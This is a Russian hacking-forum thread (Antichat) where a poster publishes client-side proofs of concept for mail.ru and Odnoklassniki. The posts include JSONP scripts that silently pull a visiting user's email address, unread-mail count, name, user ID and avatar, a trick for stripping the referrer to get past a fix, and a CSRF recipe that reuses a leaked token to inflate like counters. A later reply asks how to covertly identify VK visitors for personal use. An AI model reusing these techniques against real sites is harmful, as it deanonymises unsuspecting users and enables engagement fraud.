 |
|
ANTICHAT
> ИНФО
> Статьи
|
Получение информации о пользователях. Уязвимости клиентской части [паблик версия]
|
|
 |
|

27.09.2012, 13:33
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Сообщение от peektoseen
А что такое РОА?
Описание групп на форуме АНТИЧАТ - /thread17259.html
|
|
|

28.09.2012, 15:31
|
|
Новичок
Регистрация: 27.09.2012
Сообщений: 22
С нами:
7170806
Репутация:
0
|
|
объяснил неплохо,буду пробывать
|
|
|

11.11.2014, 05:02
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Сообщение от WendM
Может уже можно выкатить в паблик всю статью? Было бы интересно почитать
Еще не пора, потому что есть примеры, которые до сих пор работают. Но все равно выложу.
Сначала то, что уже пофиксили:
--------------------------------------------------
Логин на Яндексе
(нашел Uex Urgent)
upd:
Ящик mail.ru
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()
{
var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://swa.mail.ru/cgi-bin/counters?JSONP_call=a'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);
};
function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]email[/COLOR][COLOR="#007700"]);
};
[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR]
(нашел Uex Urgent)
--------------------------------------------------
Баг на mail.ru, позволяющий узнать ящик пользователя, попытались пофиксить.
При запросе http://swa.mail.ru/cgi-bin/counters?JSONP_call=a теперь проверяется, чтобы сайт в реферере принадлежал мэйлру. Но если реферера нет, все работает нормально.
Используем протокол data, чтобы убрать реферер:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
--------------------------------------------------
Количество непрочитанных сообщений в ящике mail.ru
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()
{
[/COLOR][COLOR="#0000BB"]_Counters[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Object[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]_Counters[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]prepare[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"];
var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://my.mail.ru/mail/anyname/counters'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);
};
function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MailUnreadMessages[/COLOR][COLOR="#007700"]);
};
[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR]
Немного оффтопа:
По той же ссылке http://my.mail.ru/mail/anyname/counters кроме счетчика писем есть счетчики данных из соц.сети "Мой Мир" - непрочтенные сообщения, приглашения в сообщества, заявки в друзья. Смотреть можно не только свои данные, но и любого другого юзера соц.сети. Информацию о username@domain.ru можно посмотреть по ссылке http://my.mail.ru/domain/username/counters
Примечание: счетчик писем в ящике всегда показывает свое значение, независимо от пути в адресе counters
--------------------------------------------------
|
|
|

11.11.2014, 05:07
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Найдено в январе 2012, работает до сих пор:
--------------------------------------------------
Имя, фамилия на odnoklassniki.ru
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()
{
var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://www.odnoklassniki.ru/mapi?query={"cmd":"getCounters","jsonPrefix":"a"}'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);
};
function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]firstName[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]lastName[/COLOR][COLOR="#007700"]);
};
[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR]
Примечаение: в реферере должен быть домен *.mail.ru
--------------------------------------------------
|
|
|

11.11.2014, 05:35
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Достаточно ценный баг. Умеет превращать дешевый траф в дорогие классы на сайтах. Работал 2 года, но после этого поста жить ему осталось не больше недели.
--------------------------------------------------
odnoklassniki.ru
Имя, фамилия, ID пользователя, ссылка на аватар.
Реферер не проверяется.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()
{
var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=http://mail.ru/&cb=a'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]head[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);
};
function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])
{
if([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]status[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'ok'[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Name: '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'\nUserID: '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]uid[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// алерт с именем, фамилией, id
[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Image[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]avatarURL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// выводим аватар на страницу нашего сайта
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]);
}
else
{
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Не авторизован'[/COLOR][COLOR="#007700"]);
}
};
[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR]
ID пользователя дает ссылку на профиль - http://www.odnoklassniki.ru/profile/USERID
photoType в avatarURL влияет на размер фото.
UPD:
Также в ответе сервера передается значение sign, которое используется как CSRF-токен при нажатии кнопки "Класс" на сайтах (http://api.mail.ru/sites/plugins/share/). Можно накрутить счетчик на любом сайте.
При получении sign в параметре ref должна быть ссылка, на которой находится кнопка "Класс".
http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКО Й&cb=a
POST-запрос на http://connect.mail.ru/share. Параметры запроса (в url то же, что в ref из первого запроса):
ubershare=1
postType=share_like
url=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКО Й
submitted=1
comment=КОММЕНТАРИЙ
ok_uid=USERID
ok_sig=SIGN
--------------------------------------------------
|
|
|

14.03.2015, 23:47
|
|
Познающий
Регистрация: 30.08.2009
Сообщений: 96
С нами:
8788413
Репутация:
3
|
|
M_script, очень интересно узнать технологию работы таких сервисов как sосfish и smmmаnagеr, позволяющих отследить ID VK пришедшего на сайт или прошедшего по ссылке пользователя. В Интернете есть немного инфы о том в каком направлении нужно работать (например здесь http://habrahabr.ru/post/228617/ и https://talk.pr-cy.ru/topic/8957-kak-rabotaet-opredelenie-stranitcy-polzovatel/?p=102653), но как сейчас реализовать подобный инструмент для личного использования?
Что касается услуги определения прошедшего по ссылке пользователя в сервисе sосfish, она либо работает некорректно, либо я что то не понимаю, но фактически при прохождении по сгенерированной ссылке идёт перенаправление на приложние-шпион ВК, без дальнейшего перехода на заданную в сервисе целевую страницу.
Вот 2 этапа по которым мы попадаем на страницу приложения:
1.
2.
Наверняка все эти редиректы с параметрами созданы по причине масштабности проекта, что бы каждый "шпион" получал информацию только от своих ссылок, и наверняка эти параметры должны содержать информацию о конечном сайте (на который должен быть направлен пользователь после посещения приложения).
Что происходит в приложении и как реализован сбор информации о посетителе БЕЗ установки этого приложения - для меня остаётся загадка, которую очень хочется разгадать
Скорее всего, сбор информации о посетителях сайта (протестировать пока не решился, т.к. услуга платная и оплачивается единовременно за подключение сайта) происходит с помощью этого же приложения, методом подпихивания его (фрейм?) в основной контент страницы.
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|